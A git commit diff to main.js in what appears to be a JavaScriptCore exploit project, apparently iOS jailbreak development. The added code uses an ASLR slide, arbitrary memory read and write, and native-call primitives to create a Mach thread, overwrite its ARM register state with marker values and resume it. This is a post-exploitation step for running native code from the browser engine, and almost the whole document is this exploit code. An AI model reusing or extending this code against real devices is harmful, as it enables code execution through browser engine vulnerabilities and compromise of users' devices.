diff options
| author | spv420 <unomilliono@gmail.com> | 2022-04-24 03:24:23 -0400 |
|---|---|---|
| committer | spv420 <unomilliono@gmail.com> | 2022-04-24 03:24:23 -0400 |
| commit | 099f735dfb75b1e96272c5e56bb963a736aeabdc (patch) | |
| tree | 7c0d56c3e7c1844f67285df774433e5468c13bed /src/js | |
| parent | 8dfaa6ca5090dcebe4d0d0ffc0e26bf02140ac08 (diff) | |
backup shit in case i bootloop
Diffstat (limited to 'src/js')
| -rw-r--r-- | src/js/main.js | 56 |
1 files changed, 51 insertions, 5 deletions
diff --git a/src/js/main.js b/src/js/main.js index c7a8d57..d611329 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -8,6 +8,9 @@ var MAX_SLIDE = 0x3; var MIN_SLIDE = 0x1; +var ARM_THREAD_STATE = 0x1; +var ARM_THREAD_STATE_COUNT = 0x11; + try { log("we out here in jsc"); } catch (e) { @@ -31,6 +34,26 @@ function main() { slide = get_our_slide(); base = 0x4000 + (slide << 12); slid = (slide << 12); + mytask = 0; + count = 0x130000; + th = 0x130100; +// thread_state_ptr = 0x130008; + thread_state = 0x130200; + countptr = 0x131000; + thptr = 0x131004; + thread_stateptr = 0x131008; + + countptrptr = 0x132000; + thptrptr = 0x132004; + thread_stateptrptr = 0x132008; + + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(thread_stateptrptr, thread_stateptr); init_sptr_heap(); @@ -42,12 +65,35 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - var i = 0; - while (true) { - calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); - calls4arg("sleep", 1, 0, 0, 0); - i++; + puts("alive"); + mytask = calls4arg("mach_task_self", 0, 0, 0, 0); + + printf("%x %x %x\n", mytask, thptr, th); + printf("%x %x\n", thread_stateptr, countptr); + + puts("alive"); + calls4arg("thread_create", mytask, th, 0, 0); + printf("mytask=%x th=%x\n", mytask, read_u32(th)); + puts("alive"); + calls4arg("thread_get_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, countptr); + printf("thread_state=%x\n", read_u32(thread_state)); + puts("alive"); + for (var i = 0; i < 16; i++) { + write_u32(thread_state + (i << 2), 0x41414140 + i); } + printf("thread_state=%x\n", read_u32(thread_state)); + puts("alive"); + calls4arg("thread_set_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, ARM_THREAD_STATE_COUNT); + puts("alive"); + calls4arg("thread_resume", thptr, 0, 0, 0); + puts("alive"); + +// var i = 0; +// while (true) { +// calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); +// calls4arg("sleep", 1, 0, 0, 0); +// i++; +// } log("still alive"); }; |
